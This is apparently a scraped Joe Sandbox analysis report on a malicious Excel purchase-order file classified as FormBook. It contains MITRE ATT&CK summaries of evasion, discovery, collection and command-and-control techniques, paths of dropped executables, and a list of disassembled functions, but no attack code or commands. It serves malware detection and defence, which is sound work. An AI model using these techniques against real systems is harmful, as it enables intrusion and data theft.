Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\71EFD22C.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD6B8317.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BCA69961.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4ED06E0.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F00B6FEE.wmf

C:\Users\user\AppData\Local\Temp\bmexo.exe

C:\Users\user\AppData\Local\Temp\fmrfya

C:\Users\user\AppData\Local\Temp\nsmD99.tmp

C:\Users\user\AppData\Local\Temp\pm30pgwp2di9

C:\Users\user\AppData\Local\Temp\~DF05A0E9538DA984DE.TMP

Windows Analysis Report
BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Function 035D048A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96
libraryCOMMON

Function 035D041A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 142
filenetworkCOMMON

Function 035D03FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 125
filenetworkCOMMON

Function 035D04A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81
COMMON

Function 035D050B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
filenetworkCOMMON

Function 035D0555 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Function 035D056C Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Function 035D058A Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 035D0591 Relevance: .0, Instructions: 14
COMMON

Function 035D03E5 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre